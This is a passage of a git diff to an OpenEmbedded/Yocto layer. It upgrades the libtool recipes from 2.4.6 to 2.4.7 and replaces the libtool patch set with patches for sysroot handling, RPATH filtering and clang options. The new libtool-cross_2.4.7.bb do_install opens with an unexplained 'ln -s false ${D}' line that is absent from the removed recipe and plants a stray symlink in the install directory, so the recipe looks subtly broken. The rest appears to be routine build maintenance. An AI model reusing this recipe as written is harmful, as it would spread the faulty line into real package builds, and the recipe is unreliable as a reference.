+++ /dev/null
@@ -1,48 +0,0 @@
-require libtool-${PV}.inc
-
-PACKAGES = ""
-SRC_URI += "file://prefix.patch"
-SRC_URI += "file://fixinstall.patch"
-
-datadir = "${STAGING_DIR_TARGET}${target_datadir}"
-
-do_configure_prepend () {
- # Remove any existing libtool m4 since old stale versions would break
- # any upgrade
- rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
- rm -f ${STAGING_DATADIR}/aclocal/lt*.m4
-}
-
-#
-# ccache may or may not be INHERITED, we remove references to it so the sstate
-# artefact works on a machine where its not present. libtool-cross isn't used
-# heavily so any performance issue is minor.
-# Find references to LTCC="ccache xxx-gcc" and CC="ccache xxx-gcc"
-#
-do_install () {
- install -d ${D}${bindir_crossscripts}/
- install -m 0755 ${HOST_SYS}-libtool ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
- sed -e 's@^\(predep_objects="\).*@\1"@' \
- -e 's@^\(postdep_objects="\).*@\1"@' \
- -e 's@^CC="ccache.@CC="@' \
- -e 's@^LTCC="ccache.@LTCC="@' \
- -i ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
- sed -i '/^archive_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
- sed -i '/^archive_expsym_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/${HOST_SYS}-libtool
- GREP='/bin/grep' SED='sed' ${S}/build-aux/inline-source libtoolize > ${D}${bindir_crossscripts}/libtoolize
- chmod 0755 ${D}${bindir_crossscripts}/libtoolize
- install -d ${D}${target_datadir}/libtool/build-aux/
- install -d ${D}${target_datadir}/aclocal/
- install -c ${S}/build-aux/compile ${D}${target_datadir}/libtool/build-aux/
- install -c ${S}/build-aux/config.guess ${D}${target_datadir}/libtool/build-aux/
- install -c ${S}/build-aux/config.sub ${D}${target_datadir}/libtool/build-aux/
- install -c ${S}/build-aux/depcomp ${D}${target_datadir}/libtool/build-aux/
- install -c ${S}/build-aux/install-sh ${D}${target_datadir}/libtool/build-aux/
- install -c ${S}/build-aux/missing ${D}${target_datadir}/libtool/build-aux/
- install -c -m 0644 ${S}/build-aux/ltmain.sh ${D}${target_datadir}/libtool/build-aux/
- install -c -m 0644 ${S}/m4/*.m4 ${D}${target_datadir}/aclocal/
-}
-
-SYSROOT_DIRS += "${bindir_crossscripts} ${target_datadir}"
-
-SSTATE_SCAN_FILES += "libtoolize *-libtool"
diff --git a/meta/recipes-devtools/libtool/libtool-cross_2.4.7.bb b/meta/recipes-devtools/libtool/libtool-cross_2.4.7.bb
new file mode 100644
index 0000000000..93f1dd7825
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool-cross_2.4.7.bb
@@ -0,0 +1,50 @@
+require libtool-${PV}.inc
+
+PACKAGES = ""
+SRC_URI += "file://fixinstall.patch"
+
+datadir = "${STAGING_DIR_TARGET}${target_datadir}"
+
+inherit nopackages
+
+do_configure:prepend () {
+ # Remove any existing libtool m4 since old stale versions would break
+ # any upgrade
+ rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
+ rm -f ${STAGING_DATADIR}/aclocal/lt*.m4
+}
+
+#
+# ccache may or may not be INHERITED, we remove references to it so the sstate
+# artefact works on a machine where its not present. libtool-cross isn't used
+# heavily so any performance issue is minor.
+# Find references to LTCC="ccache xxx-gcc" and CC="ccache xxx-gcc"
+#
+do_install () {
+ ln -s false ${D}
+ install -d ${D}${bindir_crossscripts}/
+ install -m 0755 libtool ${D}${bindir_crossscripts}/libtool
+ sed -e 's@^\(predep_objects="\).*@\1"@' \
+ -e 's@^\(postdep_objects="\).*@\1"@' \
+ -e 's@^CC="ccache.@CC="@' \
+ -e 's@^LTCC="ccache.@LTCC="@' \
+ -i ${D}${bindir_crossscripts}/libtool
+ sed -i '/^archive_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/libtool
+ sed -i '/^archive_expsym_cmds=/s/\-nostdlib//g' ${D}${bindir_crossscripts}/libtool
+ GREP='/bin/grep' SED='sed' ${S}/build-aux/inline-source libtoolize > ${D}${bindir_crossscripts}/libtoolize
+ chmod 0755 ${D}${bindir_crossscripts}/libtoolize
+ install -d ${D}${target_datadir}/libtool/build-aux/
+ install -d ${D}${target_datadir}/aclocal/
+ install -c ${S}/build-aux/compile ${D}${target_datadir}/libtool/build-aux/
+ install -c ${S}/build-aux/config.guess ${D}${target_datadir}/libtool/build-aux/
+ install -c ${S}/build-aux/config.sub ${D}${target_datadir}/libtool/build-aux/
+ install -c ${S}/build-aux/depcomp ${D}${target_datadir}/libtool/build-aux/
+ install -c ${S}/build-aux/install-sh ${D}${target_datadir}/libtool/build-aux/
+ install -c ${S}/build-aux/missing ${D}${target_datadir}/libtool/build-aux/
+ install -c -m 0644 ${S}/build-aux/ltmain.sh ${D}${target_datadir}/libtool/build-aux/
+ install -c -m 0644 ${S}/m4/*.m4 ${D}${target_datadir}/aclocal/
+}
+
+SYSROOT_DIRS += "${bindir_crossscripts} ${target_datadir}"
+
+SSTATE_SCAN_FILES += "libtoolize *-libtool"
diff --git a/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb b/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb
deleted file mode 100644
index 4c5218ade0..0000000000
--- a/meta/recipes-devtools/libtool/libtool-native_2.4.6.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-require libtool-${PV}.inc
-
-DEPENDS = ""
-
-SRC_URI += "file://prefix.patch"
-
-inherit native
-
-EXTRA_OECONF = " --with-libtool-sysroot=${STAGING_DIR_NATIVE}"
-
-do_configure_prepend () {
- # Remove any existing libtool m4 since old stale versions would break
- # any upgrade
- rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
- rm -f ${STAGING_DATADIR}/aclocal/lt*.m4
-}
-
-do_install () {
- autotools_do_install
- install -d ${D}${bindir}/
- install -m 0755 ${HOST_SYS}-libtool ${D}${bindir}/${HOST_SYS}-libtool
-}
diff --git a/meta/recipes-devtools/libtool/libtool-native_2.4.7.bb b/meta/recipes-devtools/libtool/libtool-native_2.4.7.bb
new file mode 100644
index 0000000000..19024f7830
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool-native_2.4.7.bb
@@ -0,0 +1,20 @@
+require libtool-${PV}.inc
+
+DEPENDS = ""
+
+inherit native
+
+EXTRA_OECONF = " --with-libtool-sysroot=${STAGING_DIR_NATIVE}"
+
+do_configure:prepend () {
+ # Remove any existing libtool m4 since old stale versions would break
+ # any upgrade
+ rm -f ${STAGING_DATADIR}/aclocal/libtool.m4
+ rm -f ${STAGING_DATADIR}/aclocal/lt*.m4
+}
+
+do_install () {
+ autotools_do_install
+ install -d ${D}${bindir}/
+ install -m 0755 libtool ${D}${bindir}/libtool
+}
diff --git a/meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch b/meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch
deleted file mode 100644
index 8c7c39feb6..0000000000
--- a/meta/recipes-devtools/libtool/libtool/0001-libtool-Check-for-static-libs-for-internal-compiler-.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-From 40a2da75e6d95cc7c498ebda95ab19ae0db2ebfb Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 26 Jan 2019 12:54:26 -0800
-Subject: [PATCH] libtool: Check for static libs for internal compiler
- libraries
-
-Libtool checks only for libraries linked as -l* when trying to
-find internal compiler libraries. Clang, however uses the absolute
-path to link its internal libraries e.g. compiler_rt. This patch
-handles clang's statically linked libraries when finding internal
-compiler libraries.
-
-https://crbug.com/749263
-
-Upstream-Status: Submitted [https://debbugs.gnu.org/cgi/bugreport.cgi?bug=27866]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- m4/libtool.m4 | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/m4/libtool.m4 b/m4/libtool.m4
-index d0389a0..9619c57 100644
---- a/m4/libtool.m4
-+++ b/m4/libtool.m4
-@@ -7536,7 +7536,7 @@ if AC_TRY_EVAL(ac_compile); then
- for p in `eval "$output_verbose_link_cmd"`; do
- case $prev$p in
-
-- -L* | -R* | -l*)
-+ -L* | -R* | -l* | */libclang_rt.*.a)
- # Some compilers place space between "-{L,R}" and the path.
- # Remove the space.
- if test x-L = "$p" ||
---
-2.20.1
-
diff --git a/meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch b/meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch
deleted file mode 100644
index bbd36d8dc1..0000000000
--- a/meta/recipes-devtools/libtool/libtool/0001-libtool-Fix-support-for-NIOS2-processor.patch
+++ /dev/null
@@ -1,68 +0,0 @@
-From df2cd898e48208f26320d40c3ed6b19c75c27142 Mon Sep 17 00:00:00 2001
-From: Marek Vasut <marex@denx.de>
-Date: Thu, 17 Sep 2015 00:43:15 +0200
-Subject: [PATCH] libtool: Fix support for NIOS2 processor
-
-The name of the system contains the string "nios2". This string
-is caught by the some of the greedy checks for OS/2 in libtool,
-in particular the *os2* branches of switch statements match for
-the nios2 string, which results in incorrect behavior of libtool.
-
-This patch adds an explicit check for *nios2* before the *os2*
-checks to prevent the OS/2 check incorrectly trapping the nios2
-as well.
-
-Signed-off-by: Marek Vasut <marex@denx.de>
-Upstream-Status: Submitted
----
- build-aux/ltmain.in | 20 ++++++++++++++++++++
- 1 file changed, 20 insertions(+)
-
-diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
-index d5cf07a..4164284 100644
---- a/build-aux/ltmain.in
-+++ b/build-aux/ltmain.in
-@@ -504,6 +504,12 @@ libtool_validate_options ()
- test : = "$debug_cmd" || func_append preserve_args " --debug"
-
- case $host in
-+ # For NIOS2, we want to make sure that it's not caught by the
-+ # more general OS/2 check below. Otherwise, NIOS2 is the same
-+ # as the default option.
-+ *nios2*)
-+ opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps
-+ ;;
- # Solaris2 added to fix http://debbugs.gnu.org/cgi/bugreport.cgi?bug=16452
- # see also: http://gcc.gnu.org/bugzilla/show_bug.cgi?id=59788
- *cygwin* | *mingw* | *pw32* | *cegcc* | *solaris2* | *os2*)
-@@ -6220,6 +6226,15 @@ func_mode_link ()
- if test -n "$library_names" &&
- { test no = "$use_static_libs" || test -z "$old_library"; }; then
- case $host in
-+ *nios2*)
-+ # For NIOS2, we want to make sure that it's not caught by the
-+ # more general OS/2 check below. Otherwise, NIOS2 is the same
-+ # as the default option.
-+ if test no = "$installed"; then
-+ func_append notinst_deplibs " $lib"
-+ need_relink=yes
-+ fi
-+ ;;
- *cygwin* | *mingw* | *cegcc* | *os2*)
- # No point in relinking DLLs because paths are not encoded
- func_append notinst_deplibs " $lib"
-@@ -6290,6 +6305,11 @@ func_mode_link ()
- elif test -n "$soname_spec"; then
- # bleh windows
- case $host in
-+ *nios2*)
-+ # For NIOS2, we want to make sure that it's not caught by the
-+ # more general OS/2 check below. Otherwise, NIOS2 is the same
-+ # as the default option.
-+ ;;
- *cygwin* | mingw* | *cegcc* | *os2*)
- func_arith $current - $age
- major=$func_arith_result
---
-2.5.1
-
diff --git a/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch b/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch
new file mode 100644
index 0000000000..51c0c52da8
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Handle-trailing-slashes-on-install-command.patch
@@ -0,0 +1,39 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 01/12] ltmain.in: Handle trailing slashes on install commands correctly
+
+A command like:
+
+libtool --mode=install /usr/bin/install -c gck-roots-store-standalone.la '/image/usr/lib/gnome-keyring/standalone/'
+
+where the path ends with a trailing slash currently fails. This occurs in
+software like gnome-keyring or pulseaudio and is because the comparision
+code doesn't see the paths as equal. Strip both paths to ensure this works
+reliably.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00010.html]
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+index a5f21a1..f884824 100644
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -2381,8 +2381,14 @@ func_mode_install ()
+ func_append dir "$objdir"
+
+ if test -n "$relink_command"; then
++ # Strip any trailing slash from the destination.
++ func_stripname '' '/' "$libdir"
++ destlibdir=$func_stripname_result
++ func_stripname '' '/' "$destdir"
++ s_destdir=$func_stripname_result
++
+ # Determine the prefix the user has applied to our future dir.
+- inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"`
++ inst_prefix_dir=`$ECHO "X$s_destdir" | $Xsed -e "s%$destlibdir\$%%"`
+
+ # Don't allow the user to place us outside of our expected
+ # location b/c this prevents finding dependent libraries that
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Parse-additional-clang-options.patch b/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Parse-additional-clang-options.patch
new file mode 100644
index 0000000000..c52083327c
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0001-ltmain.in-Parse-additional-clang-options.patch
@@ -0,0 +1,33 @@
+ltmain.in: Parse additional clang options
+
+clang uses -rtlib and --unwindlib to select proper compiler
+runtime in some cases. Therefore pass these options to linker when found in
+ldflags
+
+* build-aux/ltmain.in: Handle clang linker options
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=725646bf095bf5c07c49ae38dd060f95bd95ae3c]
+
+---
+ build-aux/ltmain.in | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+index 037f009..ba5c816 100644
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -5414,10 +5414,12 @@ func_mode_link ()
+ # -fsanitize=* Clang/GCC memory and address sanitizer
+ # -fuse-ld=* Linker select flags for GCC
+ # -f{file|debug|macro|profile}-prefix-map* needed for lto linking
++ # -rtlib=* select c runtime lib with clang
++ # --unwindlib=* select unwinder library with clang
+ # -Wa,* Pass flags directly to the assembler
+ -64|-mips[0-9]|-r[0-9][0-9]*|-xarch=*|-xtarget=*|+DA*|+DD*|-q*|-m*| \
+ -t[45]*|-txscale*|-p|-pg|--coverage|-fprofile-*|-F*|@*|-tp=*|--sysroot=*| \
+- -O*|-g*|-flto*|-fwhopr*|-fuse-linker-plugin|-fstack-protector*|-stdlib=*| \
++ -O*|-g*|-flto*|-fwhopr*|-fuse-linker-plugin|-fstack-protector*|-stdlib=*|-rtlib=*|--unwindlib=*| \
+ -specs=*|-fsanitize=*|-fuse-ld=*|-ffile-prefix-map=*|-fdebug-prefix-map=*|-fmacro-prefix-map=*|-fprofile-prefix-map=*|-Wa,*)
+ func_quote_arg pretty "$arg"
+ arg=$func_quote_arg_result
diff --git a/meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch b/meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch
new file mode 100644
index 0000000000..2126f82953
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0002-libtool.m4-Rename-the-with-sysroot-option-to-avoid-c.patch
@@ -0,0 +1,170 @@
+From: Khem Raj <raj.khem@gmail.com>
+Subject: [PATCH 02/12] libtool.m4: Rename the --with-sysroot option to avoid conflict with gcc/binutils
+
+This patch renames the --with-sysroot option to --with-libtool-sysroot
+to avoid namespace conflict with binutils, gcc and other toolchain
+components since these componets also add that option to configure
+and this becomes confusing and conflicting otherwise.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream report:
+http://lists.gnu.org/archive/html/libtool/2010-10/msg00048.html
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00014.html]
+
+Index: libtool-2.4.7/m4/libtool.m4
+===================================================================
+--- libtool-2.4.7.orig/m4/libtool.m4
++++ libtool-2.4.7/m4/libtool.m4
+@@ -1244,28 +1244,28 @@ _LT_DECL([], [ECHO], [1], [An echo progr
+ AC_DEFUN([_LT_WITH_SYSROOT],
+ [m4_require([_LT_DECL_SED])dnl
+ AC_MSG_CHECKING([for sysroot])
+-AC_ARG_WITH([sysroot],
+-[AS_HELP_STRING([--with-sysroot@<:@=DIR@:>@],
++AC_ARG_WITH([libtool-sysroot],
++[AS_HELP_STRING([--with-libtool-sysroot@<:@=DIR@:>@],
+ [Search for dependent libraries within DIR (or the compiler's sysroot
+ if not specified).])],
+-[], [with_sysroot=no])
++[], [with_libtool_sysroot=no])
+
+ dnl lt_sysroot will always be passed unquoted. We quote it here
+ dnl in case the user passed a directory name.
+ lt_sysroot=
+-case $with_sysroot in #(
++case $with_libtool_sysroot in #(
+ yes)
+ if test yes = "$GCC"; then
+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
+ fi
+ ;; #(
+ /*)
+- lt_sysroot=`echo "$with_sysroot" | $SED -e "$sed_quote_subst"`
++ lt_sysroot=`echo "$with_libtool_sysroot" | $SED -e "$sed_quote_subst"`
+ ;; #(
+ no|'')
+ ;; #(
+ *)
+- AC_MSG_RESULT([$with_sysroot])
++ AC_MSG_RESULT([$with_libtool_sysroot])
+ AC_MSG_ERROR([The sysroot must be an absolute path.])
+ ;;
+ esac
+Index: libtool-2.4.7/tests/sysroot.at
+===================================================================
+--- libtool-2.4.7.orig/tests/sysroot.at
++++ libtool-2.4.7/tests/sysroot.at
+@@ -65,7 +65,7 @@ while read file; do
+ done])
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -115,7 +115,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ ]])
+@@ -156,7 +156,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ ]])
+diff --git a/tests/testsuite b/tests/testsuite
+index 24265e4..d388e3e 100755
+--- a/tests/testsuite
++++ b/tests/testsuite
+@@ -48997,7 +48997,7 @@ $at_traceon; }
+
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -49211,7 +49211,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -49404,7 +49404,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -49761,7 +49761,7 @@ $at_traceon; }
+
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -49975,7 +49975,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -50168,7 +50168,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -50525,7 +50525,7 @@ $at_traceon; }
+
+
+ LDFLAGS="$LDFLAGS --sysroot=$sysroot -no-undefined"
+-configure_options="$configure_options --with-sysroot=$sysroot --prefix=$prefix"
++configure_options="$configure_options --with-libtool-sysroot=$sysroot --prefix=$prefix"
+
+ #???
+ if test PATH = "$shlibpath_var"; then
+@@ -50739,7 +50739,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([lib2.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
+@@ -50932,7 +50932,7 @@ AM_INIT_AUTOMAKE([foreign])
+ AC_PROG_CC
+ AC_CONFIG_SRCDIR([prog.c])
+ LT_INIT
+-sysroot=$with_sysroot
++sysroot=$with_libtool_sysroot
+ AC_SUBST([sysroot])
+ AC_OUTPUT(Makefile)
+ _ATEOF
diff --git a/meta/recipes-devtools/libtool/libtool/0003-libtool.m4-Cleanup-sysroot-trailing.patch b/meta/recipes-devtools/libtool/libtool/0003-libtool.m4-Cleanup-sysroot-trailing.patch
new file mode 100644
index 0000000000..6d922382ef
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0003-libtool.m4-Cleanup-sysroot-trailing.patch
@@ -0,0 +1,37 @@
+libtool.m4: Cleanup sysroot trailing "/"
+
+If $CC has --sysroot=/, it is a valid configuration however libtool will
+then set lt_sysroot to "/".
+
+This means references like $lt_sysroot$libdir become //usr/lib instead
+of the more normally expected /usr/lib. This may or may not break something
+but certainly is confusing to the user and gives confusing output. Making
+"/" simply unset lt_sysroot is much cleaner.
+
+Whilst here, trim any trailing '/' from sysroot paths to drop the duplication
+and result in cleaner/consistent output.
+
+* m4/libtool.m4: Cleanup sysroot trailing '/' handling
+
+Upstream-Status: Backport [https://git.savannah.gnu.org/cgit/libtool.git/commit/?id=365805327c7b9bbdb0e622b954b6b0d8eaeb3f99]
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+---
+ m4/libtool.m4 | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/m4/libtool.m4 b/m4/libtool.m4
+index fa1ae91..2f31d24 100644
+--- a/m4/libtool.m4
++++ b/m4/libtool.m4
+@@ -1256,7 +1256,9 @@ lt_sysroot=
+ case $with_libtool_sysroot in #(
+ yes)
+ if test yes = "$GCC"; then
+- lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ # Trim trailing / since we'll always append absolute paths and we want
++ # to avoid //, if only for less confusing output for the user.
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null | $SED 's:/\+$::'`
+ fi
+ ;; #(
+ /*)
diff --git a/meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch b/meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch
new file mode 100644
index 0000000000..35f48ef906
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0003-ltmain.in-Add-missing-sysroot-to-library-path.patch
@@ -0,0 +1,28 @@
+From: Khem Raj <raj.khem@gmail.com>
+Subject: [PATCH 03/12] ltmain.in: Add missing sysroot to library path
+
+When using a sysroot we should append it to libdir, which is helpful in
+cross builds as the system is staged in the sysroot. For normal builds,
+i.e. when lt_sysroot is not set, it will still behave the same and add
+-L/usr/lib to the relink command.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00017.html]
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+index f884824..25a91de 100644
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -6503,7 +6503,7 @@ func_mode_link ()
+ fi
+ else
+ # We cannot seem to hardcode it, guess we'll fake it.
+- add_dir=-L$libdir
++ add_dir="-L$lt_sysroot$libdir"
+ # Try looking first in the location we're being installed to.
+ if test -n "$inst_prefix_dir"; then
+ case $libdir in
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch b/meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch
new file mode 100644
index 0000000000..9203302182
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0004-ltmain.sh-Fix-sysroot-paths-being-encoded-into-RPATH.patch
@@ -0,0 +1,54 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 04/12] ltmain.sh: Fix sysroot paths being encoded into RPATHs
+
+There is a bug where RPATHs could end up containing sysroot values when
+cross compiling which is obviously incorrect. Strip out sysroot components
+from libdir when building RPATH values to avoid this.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00009.html]
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+index 25a91de..40cb94a 100644
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -7682,9 +7682,11 @@ EOF
+ test relink = "$opt_mode" || rpath=$compile_rpath$rpath
+ for libdir in $rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+- func_replace_sysroot "$libdir"
+- libdir=$func_replace_sysroot_result
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs=$libdir
+ else
+@@ -8414,6 +8416,10 @@ EOF
+ hardcode_libdirs=
+ for libdir in $compile_rpath $finalize_rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs=$libdir
+@@ -8465,6 +8471,10 @@ EOF
+ hardcode_libdirs=
+ for libdir in $finalize_rpath; do
+ if test -n "$hardcode_libdir_flag_spec"; then
++ func_replace_sysroot "$libdir"
++ libdir=$func_replace_sysroot_result
++ func_stripname '=' '' "$libdir"
++ libdir=$func_stripname_result
+ if test -n "$hardcode_libdir_separator"; then
+ if test -z "$hardcode_libdirs"; then
+ hardcode_libdirs=$libdir
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch b/meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch
new file mode 100644
index 0000000000..8b6352b01b
--- /dev/null
+++ b/meta/recipes-devtools/libtool/libtool/0005-ltmain.in-Don-t-encode-RATHS-which-match-default-lin.patch
@@ -0,0 +1,76 @@
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Subject: [PATCH 05/12] ltmain.in: Don't encode RATHS which match default linker paths
+
+We don't want to add RPATHS which match default linker search paths, they're
+a waste of space. This patch filters libtools list of paths to encoode and
+removes the ones we don't need.
+
+Libtool may be passed link paths of the form "/usr/lib/../lib" so normalize
+the paths before comparision.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://lists.gnu.org/archive/html/libtool-patches/2021-10/msg00013.html]
+
+diff --git a/build-aux/ltmain.in b/build-aux/ltmain.in
+index 40cb94a..2fa055e 100644
+--- a/build-aux/ltmain.in
++++ b/build-aux/ltmain.in
+@@ -7700,8 +7700,16 @@ EOF
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append dep_rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ func_normal_abspath "$libdir"
++ libdir_norm=$func_normal_abspath_result
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir_norm "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ func_append dep_rpath " $flag"
++ ;;
++ esac
+ fi
+ elif test -n "$runpath_var"; then
+ case "$perm_rpath " in
+@@ -8434,8 +8442,16 @@ EOF
+ esac
+ fi
+ else
+- eval flag=\"$hardcode_libdir_flag_spec\"
+- func_append rpath " $flag"
++ # We only want to hardcode in an rpath if it isn't in the
++ # default dlsearch path.
++ func_normal_abspath "$libdir"
++ libdir_norm=$func_normal_abspath_result
++ case " $sys_lib_dlsearch_path " in
++ *" $libdir_norm "*) ;;
++ *) eval flag=\"$hardcode_libdir_flag_spec\"
++ rpath+=" $flag"
++ ;;
++ esac
+ fi
